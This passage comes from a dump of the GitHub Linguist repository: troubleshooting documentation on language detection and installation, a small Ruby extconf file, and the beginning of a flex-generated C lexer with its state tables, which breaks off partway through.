pull the compiled grammars from the Linguist release. If backporting, label for backporting to the latest version of GitHub Enterprise Server only.\n\n    Note: syntax highlighting changes won't take effect until the updated `github/treelights` repo has been deployed.\n\n[gpr]: https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry\n"
  },
  {
    "path": "docs/troubleshooting.md",
    "content": "# Troubleshooting\n\n## My repository is detected as the wrong language\n\nIf the language stats bar is reporting a language that you don't expect:\n\n1. Click on the name of the language in the stats bar to see a list of the files that are identified as that language.\n   Keep in mind this performs a search so the [code search restrictions][search-limits] may result in files identified in the language statistics not appearing in the search results.\n   [Installing Linguist locally](/README.md/#installation) and running it from the [command line](/README.md#command-line-usage) will give you accurate results.\n2. If you see files that you didn't write in the search results, consider moving the files into one of the [paths for vendored code](/lib/linguist/vendor.yml), or use the [manual overrides](/docs/overrides.md) feature to ignore them.\n3. If the files are misclassified, search for [open issues](https://github.com/github/linguist/issues) to see if anyone else has already reported the issue.\n   Any information you can add, especially links to public repositories, is helpful.\n   You can also use the [manual overrides](/docs/overrides.md) feature to correctly classify them in your repository.\n4. If there are no reported issues of this misclassification, [open an issue](https://github.com/github/linguist/issues/new) and include a link to the repository or a sample of the code that is being misclassified.\n\n[search-limits]: https://docs.github.com/github/searching-for-information-on-github/searching-code#considerations-for-code-search\n\nKeep in mind that the repository language stats are only [updated when you push changes](how-linguist-works.md#how-linguist-works-on-githubcom), and the results are cached for the lifetime of your repository.\nIf you have not made any changes to your repository in a while, you may find pushing another change will correct the stats.\n\n## When I click on a language present in the language stats bar, I get a message saying \"Your search did not match any code\"\n\nThere are a few reasons that could lead to this outcome:\n\n1. If the repository implements an override via the `linguist-language` attribute, it won't be taken into account in GitHub's search results since GitHub search relies on an internal library which doesn't support overrides at the moment.\n2. GitHub's search internal library might not be using the latest version of Linguist which means that files could be detected differently in search compared to Linguist (see also the note at the end of [this section](#my-linguist-pr-has-been-merged-but-github-doesnt-reflect-my-changes)).\n3. It could be that files are associated to a language that is part of a group. This means that they are counted as the parent language in the language stats bar, but as the actual language in search. For instance, a file ending with `.f90` is considered to be  \"Fortran\" in the stats bar, but \"Fortran Free Form\" in search.\n4. Finally, this can be caused by [code search limitations](https://docs.github.com/en/search-github/github-code-search/about-github-code-search#limitations) that are unrelated to Linguist.\n\n## My C/C++/Objective-C `.h` header file is detected as the wrong language\n\nCorrectly detecting the language for the C-family `.h` header files is tough because Linguist detects the languages of files in isolation when analysing repositories and these header files, especially the smaller ones, can be used across all three languages without using any language-specific content.\nTo try and reduce the number of false positives and keep some degree of predictability for users, Linguist will assume all `.h` header files are C by default and will only identify a file as C++ or Objective-C if the content matches the specific heuristic for that language.\nThis will mean you will need to implement an [override](/docs/overrides.md) for some of your header files if you wish for them to be classified as C++ or Objective-C if they do not contain language-specific content.\n\n## My repository isn't showing my language\n\nLinguist does not consider [vendored code](/docs/overrides.md#vendored-code), [generated code](/docs/overrides.md#generated-code), [documentation](/docs/overrides.md#documentation), or `data` (e.g. SQL) or `prose` (e.g. Markdown) languages (as defined by the `type` attribute in [`languages.yml`](/lib/linguist/languages.yml)) when calculating the repository language statistics.\n\nIf the language statistics bar is not showing your language at all, it could be for a few reasons:\n\n1. Linguist doesn't know about your language.\n2. The extension you have chosen is not associated with your language in [`languages.yml`](/lib/linguist/languages.yml).\n3. All the files in your repository fall into one of the categories listed above that Linguist excludes by default.\n\nIf Linguist doesn't know about the language or the extension you're using, consider [contributing](/CONTRIBUTING.md) to Linguist by opening a pull request to add support for your language or extension.\nFor everything else, you can use the [manual overrides](/docs/overrides.md) feature to tell Linguist to include your files in the language statistics.\n\n## There's a problem with the syntax highlighting of a file\n\nLinguist detects the language of a file but the actual syntax-highlighting is powered by a set of language grammars which are included in this project as a set of submodules [as listed here](/vendor/README.md).\n\nIf you experience an issue with the syntax-highlighting on GitHub, **please report the issue to the upstream grammar repository, not here.**\nGrammars are updated every time we build the Linguist gem so upstream bug fixes are automatically incorporated as they are fixed.\n\n## I get an error when using Linguist on a directory that is not a Git repository\n\nLinguist only works on Git repositories and individual files. Its primary use is on GitHub.com which uses bare\nrepositories and thus changes need to be committed as individual files don't show on the filesystem.\n\nAs a work around you could initialise a temporary Git repository in your directory as demonstrated in this\n[script](https://gist.github.com/PuZZleDucK/a45fd1fac3758235ffed9fe0e8aab643).\n\nAlternatively you can run Linguist on individual files, see [here](/README.md#single-file).\n\n## I am unable to install Linguist on macOS\n\nThere are several known issues with the version of Ruby shipped with macOS that cause problems when it comes to installing the charlock-holmes gem which is a Linguist dependency.\nAs this is a problem with the Ruby shipped by Apple and not Linguist or charlock-holmes, we recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist.\n\n## My Linguist PR has been merged but GitHub doesn't reflect my changes\n\nChanges to Linguist will only appear on GitHub when a new Linguist release is made and this is deployed to GitHub.com.\nThere is no set release timeframe, but the intention is at least once every three-to-four months so the latest version ships with each new major version of GitHub Enterprise Server.\nA PR like [this](https://github.com/github/linguist/pull/6051) will be created for the release with checkmarks for each stage of the release process.\n\nAll syntax highlighting grammars will also be updated in all major and minor releases.\nGrammars will only be updated in patch releases if the patch release is specifically for that language and it requires a grammar update to address the issue.\n\nNote: New languages will not appear in GitHub's search results for some time after the pull request has been merged and the new Linguist release deployed to GitHub.com.\nThis is because GitHub's search uses a separate internal library for language detection which tends to lag behind Linguist by a few weeks to months.\n"
  },
  {
    "path": "ext/linguist/extconf.rb",
    "content": "require 'mkmf'\ndir_config('linguist')\ncreate_makefile('linguist/linguist')\n"
  },
  {
    "path": "ext/linguist/lex.linguist_yy.c",
    "content": "\n#line 3 \"lex.linguist_yy.c\"\n\n#define  YY_INT_ALIGNED short int\n\n/* A lexical scanner generated by flex */\n\n#define FLEX_SCANNER\n#define YY_FLEX_MAJOR_VERSION 2\n#define YY_FLEX_MINOR_VERSION 6\n#define YY_FLEX_SUBMINOR_VERSION 4\n#if YY_FLEX_SUBMINOR_VERSION > 0\n#define FLEX_BETA\n#endif\n\n#ifdef yy_create_buffer\n#define linguist_yy_create_buffer_ALREADY_DEFINED\n#else\n#define yy_create_buffer linguist_yy_create_buffer\n#endif\n\n#ifdef yy_delete_buffer\n#define linguist_yy_delete_buffer_ALREADY_DEFINED\n#else\n#define yy_delete_buffer linguist_yy_delete_buffer\n#endif\n\n#ifdef yy_scan_buffer\n#define linguist_yy_scan_buffer_ALREADY_DEFINED\n#else\n#define yy_scan_buffer linguist_yy_scan_buffer\n#endif\n\n#ifdef yy_scan_string\n#define linguist_yy_scan_string_ALREADY_DEFINED\n#else\n#define yy_scan_string linguist_yy_scan_string\n#endif\n\n#ifdef yy_scan_bytes\n#define linguist_yy_scan_bytes_ALREADY_DEFINED\n#else\n#define yy_scan_bytes linguist_yy_scan_bytes\n#endif\n\n#ifdef yy_init_buffer\n#define linguist_yy_init_buffer_ALREADY_DEFINED\n#else\n#define yy_init_buffer linguist_yy_init_buffer\n#endif\n\n#ifdef yy_flush_buffer\n#define linguist_yy_flush_buffer_ALREADY_DEFINED\n#else\n#define yy_flush_buffer linguist_yy_flush_buffer\n#endif\n\n#ifdef yy_load_buffer_state\n#define linguist_yy_load_buffer_state_ALREADY_DEFINED\n#else\n#define yy_load_buffer_state linguist_yy_load_buffer_state\n#endif\n\n#ifdef yy_switch_to_buffer\n#define linguist_yy_switch_to_buffer_ALREADY_DEFINED\n#else\n#define yy_switch_to_buffer linguist_yy_switch_to_buffer\n#endif\n\n#ifdef yypush_buffer_state\n#define linguist_yypush_buffer_state_ALREADY_DEFINED\n#else\n#define yypush_buffer_state linguist_yypush_buffer_state\n#endif\n\n#ifdef yypop_buffer_state\n#define linguist_yypop_buffer_state_ALREADY_DEFINED\n#else\n#define yypop_buffer_state linguist_yypop_buffer_state\n#endif\n\n#ifdef yyensure_buffer_stack\n#define linguist_yyensure_buffer_stack_ALREADY_DEFINED\n#else\n#define yyensure_buffer_stack linguist_yyensure_buffer_stack\n#endif\n\n#ifdef yylex\n#define linguist_yylex_ALREADY_DEFINED\n#else\n#define yylex linguist_yylex\n#endif\n\n#ifdef yyrestart\n#define linguist_yyrestart_ALREADY_DEFINED\n#else\n#define yyrestart linguist_yyrestart\n#endif\n\n#ifdef yylex_init\n#define linguist_yylex_init_ALREADY_DEFINED\n#else\n#define yylex_init linguist_yylex_init\n#endif\n\n#ifdef yylex_init_extra\n#define linguist_yylex_init_extra_ALREADY_DEFINED\n#else\n#define yylex_init_extra linguist_yylex_init_extra\n#endif\n\n#ifdef yylex_destroy\n#define linguist_yylex_destroy_ALREADY_DEFINED\n#else\n#define yylex_destroy linguist_yylex_destroy\n#endif\n\n#ifdef yyget_debug\n#define linguist_yyget_debug_ALREADY_DEFINED\n#else\n#define yyget_debug linguist_yyget_debug\n#endif\n\n#ifdef yyset_debug\n#define linguist_yyset_debug_ALREADY_DEFINED\n#else\n#define yyset_debug linguist_yyset_debug\n#endif\n\n#ifdef yyget_extra\n#define linguist_yyget_extra_ALREADY_DEFINED\n#else\n#define yyget_extra linguist_yyget_extra\n#endif\n\n#ifdef yyset_extra\n#define linguist_yyset_extra_ALREADY_DEFINED\n#else\n#define yyset_extra linguist_yyset_extra\n#endif\n\n#ifdef yyget_in\n#define linguist_yyget_in_ALREADY_DEFINED\n#else\n#define yyget_in linguist_yyget_in\n#endif\n\n#ifdef yyset_in\n#define linguist_yyset_in_ALREADY_DEFINED\n#else\n#define yyset_in linguist_yyset_in\n#endif\n\n#ifdef yyget_out\n#define linguist_yyget_out_ALREADY_DEFINED\n#else\n#define yyget_out linguist_yyget_out\n#endif\n\n#ifdef yyset_out\n#define linguist_yyset_out_ALREADY_DEFINED\n#else\n#define yyset_out linguist_yyset_out\n#endif\n\n#ifdef yyget_leng\n#define linguist_yyget_leng_ALREADY_DEFINED\n#else\n#define yyget_leng linguist_yyget_leng\n#endif\n\n#ifdef yyget_text\n#define linguist_yyget_text_ALREADY_DEFINED\n#else\n#define yyget_text linguist_yyget_text\n#endif\n\n#ifdef yyget_lineno\n#define linguist_yyget_lineno_ALREADY_DEFINED\n#else\n#define yyget_lineno linguist_yyget_lineno\n#endif\n\n#ifdef yyset_lineno\n#define linguist_yyset_lineno_ALREADY_DEFINED\n#else\n#define yyset_lineno linguist_yyset_lineno\n#endif\n\n#ifdef yyget_column\n#define linguist_yyget_column_ALREADY_DEFINED\n#else\n#define yyget_column linguist_yyget_column\n#endif\n\n#ifdef yyset_column\n#define linguist_yyset_column_ALREADY_DEFINED\n#else\n#define yyset_column linguist_yyset_column\n#endif\n\n#ifdef yywrap\n#define linguist_yywrap_ALREADY_DEFINED\n#else\n#define yywrap linguist_yywrap\n#endif\n\n#ifdef yyalloc\n#define linguist_yyalloc_ALREADY_DEFINED\n#else\n#define yyalloc linguist_yyalloc\n#endif\n\n#ifdef yyrealloc\n#define linguist_yyrealloc_ALREADY_DEFINED\n#else\n#define yyrealloc linguist_yyrealloc\n#endif\n\n#ifdef yyfree\n#define linguist_yyfree_ALREADY_DEFINED\n#else\n#define yyfree linguist_yyfree\n#endif\n\n/* First, we deal with  platform-specific or compiler-specific issues. */\n\n/* begin standard C headers. */\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <stdlib.h>\n\n/* end standard C headers. */\n\n/* flex integer type definitions */\n\n#ifndef FLEXINT_H\n#define FLEXINT_H\n\n/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */\n\n#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L\n\n/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,\n * if you want the limit (max/min) macros for int types. \n */\n#ifndef __STDC_LIMIT_MACROS\n#define __STDC_LIMIT_MACROS 1\n#endif\n\n#include <inttypes.h>\ntypedef int8_t flex_int8_t;\ntypedef uint8_t flex_uint8_t;\ntypedef int16_t flex_int16_t;\ntypedef uint16_t flex_uint16_t;\ntypedef int32_t flex_int32_t;\ntypedef uint32_t flex_uint32_t;\n#else\ntypedef signed char flex_int8_t;\ntypedef short int flex_int16_t;\ntypedef int flex_int32_t;\ntypedef unsigned char flex_uint8_t; \ntypedef unsigned short int flex_uint16_t;\ntypedef unsigned int flex_uint32_t;\n\n/* Limits of integral types. */\n#ifndef INT8_MIN\n#define INT8_MIN               (-128)\n#endif\n#ifndef INT16_MIN\n#define INT16_MIN              (-32767-1)\n#endif\n#ifndef INT32_MIN\n#define INT32_MIN              (-2147483647-1)\n#endif\n#ifndef INT8_MAX\n#define INT8_MAX               (127)\n#endif\n#ifndef INT16_MAX\n#define INT16_MAX              (32767)\n#endif\n#ifndef INT32_MAX\n#define INT32_MAX              (2147483647)\n#endif\n#ifndef UINT8_MAX\n#define UINT8_MAX              (255U)\n#endif\n#ifndef UINT16_MAX\n#define UINT16_MAX             (65535U)\n#endif\n#ifndef UINT32_MAX\n#define UINT32_MAX             (4294967295U)\n#endif\n\n#ifndef SIZE_MAX\n#define SIZE_MAX               (~(size_t)0)\n#endif\n\n#endif /* ! C99 */\n\n#endif /* ! FLEXINT_H */\n\n/* begin standard C++ headers. */\n\n/* TODO: this is always defined, so inline it */\n#define yyconst const\n\n#if defined(__GNUC__) && __GNUC__ >= 3\n#define yynoreturn __attribute__((__noreturn__))\n#else\n#define yynoreturn\n#endif\n\n/* Returned upon end-of-file. */\n#define YY_NULL 0\n\n/* Promotes a possibly negative, possibly signed char to an\n *   integer in range [0..255] for use as an array index.\n */\n#define YY_SC_TO_UI(c) ((YY_CHAR) (c))\n\n/* An opaque pointer. */\n#ifndef YY_TYPEDEF_YY_SCANNER_T\n#define YY_TYPEDEF_YY_SCANNER_T\ntypedef void* yyscan_t;\n#endif\n\n/* For convenience, these vars (plus the bison vars far below)\n   are macros in the reentrant scanner. */\n#define yyin yyg->yyin_r\n#define yyout yyg->yyout_r\n#define yyextra yyg->yyextra_r\n#define yyleng yyg->yyleng_r\n#define yytext yyg->yytext_r\n#define yylineno (YY_CURRENT_BUFFER_LVALUE->yy_bs_lineno)\n#define yycolumn (YY_CURRENT_BUFFER_LVALUE->yy_bs_column)\n#define yy_flex_debug yyg->yy_flex_debug_r\n\n/* Enter a start condition.  This macro really ought to take a parameter,\n * but we do it the disgusting crufty way forced on us by the ()-less\n * definition of BEGIN.\n */\n#define BEGIN yyg->yy_start = 1 + 2 *\n/* Translate the current start state into a value that can be later handed\n * to BEGIN to return to the state.  The YYSTATE alias is for lex\n * compatibility.\n */\n#define YY_START ((yyg->yy_start - 1) / 2)\n#define YYSTATE YY_START\n/* Action number for EOF rule of a given start state. */\n#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)\n/* Special action meaning \"start processing a new file\". */\n#define YY_NEW_FILE yyrestart( yyin , yyscanner )\n#define YY_END_OF_BUFFER_CHAR 0\n\n/* Size of default input buffer. */\n#ifndef YY_BUF_SIZE\n#ifdef __ia64__\n/* On IA-64, the buffer size is 16k, not 8k.\n * Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.\n * Ditto for the __ia64__ case accordingly.\n */\n#define YY_BUF_SIZE 32768\n#else\n#define YY_BUF_SIZE 16384\n#endif /* __ia64__ */\n#endif\n\n/* The state buf must be large enough to hold one state per character in the main buffer.\n */\n#define YY_STATE_BUF_SIZE   ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))\n\n#ifndef YY_TYPEDEF_YY_BUFFER_STATE\n#define YY_TYPEDEF_YY_BUFFER_STATE\ntypedef struct yy_buffer_state *YY_BUFFER_STATE;\n#endif\n\n#ifndef YY_TYPEDEF_YY_SIZE_T\n#define YY_TYPEDEF_YY_SIZE_T\ntypedef size_t yy_size_t;\n#endif\n\n#define EOB_ACT_CONTINUE_SCAN 0\n#define EOB_ACT_END_OF_FILE 1\n#define EOB_ACT_LAST_MATCH 2\n    \n    #define YY_LESS_LINENO(n)\n    #define YY_LINENO_REWIND_TO(ptr)\n    \n/* Return all but the first \"n\" matched characters back to the input stream. */\n#define yyless(n) \\\n\tdo \\\n\t\t{ \\\n\t\t/* Undo effects of setting up yytext. */ \\\n        int yyless_macro_arg = (n); \\\n        YY_LESS_LINENO(yyless_macro_arg);\\\n\t\t*yy_cp = yyg->yy_hold_char; \\\n\t\tYY_RESTORE_YY_MORE_OFFSET \\\n\t\tyyg->yy_c_buf_p = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \\\n\t\tYY_DO_BEFORE_ACTION; /* set up yytext again */ \\\n\t\t} \\\n\twhile ( 0 )\n#define unput(c) yyunput( c, yyg->yytext_ptr , yyscanner )\n\n#ifndef YY_STRUCT_YY_BUFFER_STATE\n#define YY_STRUCT_YY_BUFFER_STATE\nstruct yy_buffer_state\n\t{\n\tFILE *yy_input_file;\n\n\tchar *yy_ch_buf;\t\t/* input buffer */\n\tchar *yy_buf_pos;\t\t/* current position in input buffer */\n\n\t/* Size of input buffer in bytes, not including room for EOB\n\t * characters.\n\t */\n\tint yy_buf_size;\n\n\t/* Number of characters read into yy_ch_buf, not including EOB\n\t * characters.\n\t */\n\tint yy_n_chars;\n\n\t/* Whether we \"own\" the buffer - i.e., we know we created it,\n\t * and can realloc() it to grow it, and should free() it to\n\t * delete it.\n\t */\n\tint yy_is_our_buffer;\n\n\t/* Whether this is an \"interactive\" input source; if so, and\n\t * if we're using stdio for input, then we want to use getc()\n\t * instead of fread(), to make sure we stop fetching input after\n\t * each newline.\n\t */\n\tint yy_is_interactive;\n\n\t/* Whether we're considered to be at the beginning of a line.\n\t * If so, '^' rules will be active on the next match, otherwise\n\t * not.\n\t */\n\tint yy_at_bol;\n\n    int yy_bs_lineno; /**< The line count. */\n    int yy_bs_column; /**< The column count. */\n\n\t/* Whether to try to fill the input buffer when we reach the\n\t * end of it.\n\t */\n\tint yy_fill_buffer;\n\n\tint yy_buffer_status;\n\n#define YY_BUFFER_NEW 0\n#define YY_BUFFER_NORMAL 1\n\t/* When an EOF's been seen but there's still some text to process\n\t * then we mark the buffer as YY_EOF_PENDING, to indicate that we\n\t * shouldn't try reading from the input source any more.  We might\n\t * still have a bunch of tokens to match, though, because of\n\t * possible backing-up.\n\t *\n\t * When we actually see the EOF, we change the status to \"new\"\n\t * (via yyrestart()), so that the user can continue scanning by\n\t * just pointing yyin at a new input file.\n\t */\n#define YY_BUFFER_EOF_PENDING 2\n\n\t};\n#endif /* !YY_STRUCT_YY_BUFFER_STATE */\n\n/* We provide macros for accessing buffer states in case in the\n * future we want to put the buffer states in a more general\n * \"scanner state\".\n *\n * Returns the top of the stack, or NULL.\n */\n#define YY_CURRENT_BUFFER ( yyg->yy_buffer_stack \\\n                          ? yyg->yy_buffer_stack[yyg->yy_buffer_stack_top] \\\n                          : NULL)\n/* Same as previous macro, but useful when we know that the buffer stack is not\n * NULL or when we need an lvalue. For internal use only.\n */\n#define YY_CURRENT_BUFFER_LVALUE yyg->yy_buffer_stack[yyg->yy_buffer_stack_top]\n\nvoid yyrestart ( FILE *input_file , yyscan_t yyscanner );\nvoid yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_create_buffer ( FILE *file, int size , yyscan_t yyscanner );\nvoid yy_delete_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );\nvoid yy_flush_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );\nvoid yypush_buffer_state ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );\nvoid yypop_buffer_state ( yyscan_t yyscanner );\n\nstatic void yyensure_buffer_stack ( yyscan_t yyscanner );\nstatic void yy_load_buffer_state ( yyscan_t yyscanner );\nstatic void yy_init_buffer ( YY_BUFFER_STATE b, FILE *file , yyscan_t yyscanner );\n#define YY_FLUSH_BUFFER yy_flush_buffer( YY_CURRENT_BUFFER , yyscanner)\n\nYY_BUFFER_STATE yy_scan_buffer ( char *base, yy_size_t size , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_scan_string ( const char *yy_str , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len , yyscan_t yyscanner );\n\nvoid *yyalloc ( yy_size_t , yyscan_t yyscanner );\nvoid *yyrealloc ( void *, yy_size_t , yyscan_t yyscanner );\nvoid yyfree ( void * , yyscan_t yyscanner );\n\n#define yy_new_buffer yy_create_buffer\n#define yy_set_interactive(is_interactive) \\\n\t{ \\\n\tif ( ! YY_CURRENT_BUFFER ){ \\\n        yyensure_buffer_stack (yyscanner); \\\n\t\tYY_CURRENT_BUFFER_LVALUE =    \\\n            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner); \\\n\t} \\\n\tYY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \\\n\t}\n#define yy_set_bol(at_bol) \\\n\t{ \\\n\tif ( ! YY_CURRENT_BUFFER ){\\\n        yyensure_buffer_stack (yyscanner); \\\n\t\tYY_CURRENT_BUFFER_LVALUE =    \\\n            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner); \\\n\t} \\\n\tYY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \\\n\t}\n#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol)\n\n/* Begin user sect3 */\ntypedef flex_uint8_t YY_CHAR;\n\ntypedef int yy_state_type;\n\n#define yytext_ptr yytext_r\n\nstatic yy_state_type yy_get_previous_state ( yyscan_t yyscanner );\nstatic yy_state_type yy_try_NUL_trans ( yy_state_type current_state  , yyscan_t yyscanner);\nstatic int yy_get_next_buffer ( yyscan_t yyscanner );\nstatic void yynoreturn yy_fatal_error ( const char* msg , yyscan_t yyscanner );\n\n/* Done after the current pattern has been matched and before the\n * corresponding action - sets up yytext.\n */\n#define YY_DO_BEFORE_ACTION \\\n\tyyg->yytext_ptr = yy_bp; \\\n\tyyleng = (int) (yy_cp - yy_bp); \\\n\tyyg->yy_hold_char = *yy_cp; \\\n\t*yy_cp = '\\0'; \\\n\tyyg->yy_c_buf_p = yy_cp;\n#define YY_NUM_RULES 82\n#define YY_END_OF_BUFFER 83\n/* This struct is not used in this scanner,\n   but its presence is necessary. */\nstruct yy_trans_info\n\t{\n\tflex_int32_t yy_verify;\n\tflex_int32_t yy_nxt;\n\t};\nstatic const flex_int16_t yy_accept[261] =\n    {   0,\n        0,    0,    0,    0,    0,    0,    0,    0,    0,    0,\n        0,    0,    0,    0,    0,    0,    0,    0,   83,   81,\n       63,   35,   64,   65,   66,   67,   36,   42,   42,   68,\n       69,   70,   62,   71,   55,   37,   37,   72,   73,   55,\n       52,   55,   74,   75,   38,   44,   76,   44,   77,   78,\n       43,   79,   43,   80,   81,   35,   64,   65,   66,   36,\n       62,   71,   55,   73,   25,   25,   25,   25,   25,   25,\n       25,   25,   25,   63,   51,   54,   57,   34,   64,   38,\n       65,   45,    0,   45,   66,   56,   67,   47,   48,   34,\n       42,   39,   19,    0,    0,   42,   68,   69,   70,   62,\n\n       49,   59,   60,   71,   16,   24,   55,   37,   37,   38,\n       37,   37,   38,   58,   72,   73,   53,   53,   47,   50,\n       55,   55,   52,   55,   52,   47,   74,   75,    0,   44,\n       41,   76,   44,   77,   78,   18,    0,   43,   40,   79,\n       43,   80,    0,    0,    0,    0,    0,    0,    0,    8,\n        8,    3,    3,    0,   64,    0,    7,    7,   66,    0,\n        0,   62,    0,    0,   38,    5,    9,    9,   73,   26,\n        0,   28,   29,    0,    0,    0,   33,   20,   45,   21,\n        0,   61,   59,   60,   15,   14,   23,    0,   37,   37,\n       37,   37,   37,    0,    0,    0,    0,    5,    8,    3,\n\n        0,    2,    0,    2,    2,   12,    7,   11,    6,    6,\n       10,   38,    5,    5,    5,    5,    9,   27,   30,   31,\n       32,    0,   13,   37,   37,   37,   37,   37,   37,   37,\n       17,    0,    0,    0,    2,   12,   12,   11,   11,    6,\n       10,   10,   22,    4,    4,   46,   37,   37,   37,    0,\n        2,    4,    0,    0,    0,    0,    0,    1,    0,    0\n    } ;\n\nstatic const YY_CHAR yy_ec[256] =\n    {   0,\n        1,    1,    1,    1,    1,    1,    1,    1,    2,    3,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    4,    5,    6,    7,    8,    9,   10,   11,   12,\n       13,   14,   15,   16,   17,   18,   19,   20,   21,   21,\n       21,   21,   21,   21,   21,   21,   21,   22,   23,   24,\n       25,   26,   27,   28,   29,   29,   29,   29,   30,   31,\n       32,   32,   32,   32,   32,   33,   32,   32,   32,   32,\n       32,   32,   32,   32,   34,   32,   32,   32,   32,   32,\n       35,   36,   37,   38,   32,   39,   29,   29,   29,   29,\n\n       40,   31,   41,   32,   42,   32,   32,   33,   32,   43,\n       32,   32,   32,   32,   32,   32,   34,   44,   32,   45,\n       32,   32,   46,   47,   48,   49,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1\n    } ;\n\nstatic const YY_CHAR yy_meta[50] =\n    {   0,\n        1,    2,    3,    2,    4,    1,    5,    1,    4,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    6,    7,\n        7,    1,    1,    4,    1,    4,    4,    4,    7,    7,\n        7,    7,    7,    7,    1,    1,    1,    1,    1,    7,\n        7,    7,    7,    7,    7,    1,    1,    1,    1\n    } ;\n\nstatic const flex_int16_t yy_base[278] =\n    {   0,\n        0,   48,  604,  603,  599,  598,  597,  596,  598,  597,\n      604,  603,  597,  596,  588,  587,  587,  586,  602,  619,\n       48,  595,  593,   56,   51,   59,  588,   68,  585,   37,\n       63,  581,   73,   86,   91,  100,  551,   97,  572,  141,\n       87,  128,   97,   51,  587,   52,  557,  555,   58,  552,\n      109,  139,  510,  110,  185,  167,  171,  530,  181,  177,\n      184,  178,  198,  193,  619,  502,  499,  467,  501,  502,\n      490,  476,  460,   67,  453,  619,  619,  471,  469,  468,\n      460,  455,  429,  418,  454,  437,  451,  434,  619,  448,\n      149,  445,  619,  439,  434,  442,  440,  438,  436,   77,\n\n      425,  184,  110,  432,  158,  432,  202,  211,  403,  188,\n      223,  186,  218,  619,  425,  423,  428,  619,  426,  418,\n      231,  242,  209,  245,   83,  619,  407,  405,  414,  225,\n      394,  388,  386,  384,  381,  619,  401,  217,  370,  370,\n      368,  366,    0,  196,  233,  269,  397,  394,  271,  619,\n        0,  619,    0,  277,  273,  408,  619,    0,  279,  282,\n      405,  286,  283,  404,  211,  290,  619,    0,  288,  619,\n      383,  619,  619,  402,  396,  403,  619,  619,  368,  619,\n      386,  619,  619,  619,  619,  383,  619,  284,  269,  368,\n      300,  220,  316,  382,  377,  375,  301,  303,    0,    0,\n\n      322,  311,  370,  323,  341,  370,    0,  362,  619,    0,\n      352,  325,  341,  619,  319,  348,    0,  619,  619,  619,\n      619,  326,  619,  297,  333,  322,  357,    0,  323,    0,\n      619,  270,  198,  137,  199,  180,  619,  136,  619,    0,\n      125,  619,  619,  619,   72,  619,  619,  353,    0,  333,\n      367,   58,  291,  396,  377,  378,  381,  440,  390,  619,\n      485,  488,  492,  498,  505,  511,  518,  525,  532,  534,\n      541,  548,  555,  562,  569,  576,  583\n    } ;\n\nstatic const flex_int16_t yy_def[278] =\n    {   0,\n      260,    1,  261,  261,  261,  261,  261,  261,  261,  261,\n      261,  261,  261,  261,  261,  261,  261,  261,  260,  260,\n      260,  260,  262,  262,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  262,  260,  260,   36,  260,  260,  260,\n      260,  260,  260,  262,  262,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  262,   24,  260,  260,\n      260,   34,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  262,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n\n      260,  260,  260,  260,  260,  260,  260,  260,   36,  262,\n      262,  262,  262,  260,  260,  260,  260,  260,  260,  260,\n      263,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,   55,  260,  260,  260,  260,  260,  260,  260,\n      264,  260,  265,  266,  260,  260,  260,  267,  260,  260,\n      260,  260,  260,  260,  262,  268,  260,  269,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  262,  260,  260,  260,  260,  260,  268,  264,  265,\n\n      266,  201,  270,  201,  204,  271,  267,  272,  260,  273,\n      274,  262,  268,  260,  268,  268,  269,  260,  260,  260,\n      260,  260,  260,  260,  260,  262,  260,  193,  193,  193,\n      260,  260,  260,  270,  204,  271,  260,  272,  260,  273,\n      274,  260,  260,  260,  275,  260,  260,  227,  227,  270,\n      204,  275,  270,  276,  270,  276,  277,  276,  277,    0,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260\n    } ;\n\nstatic 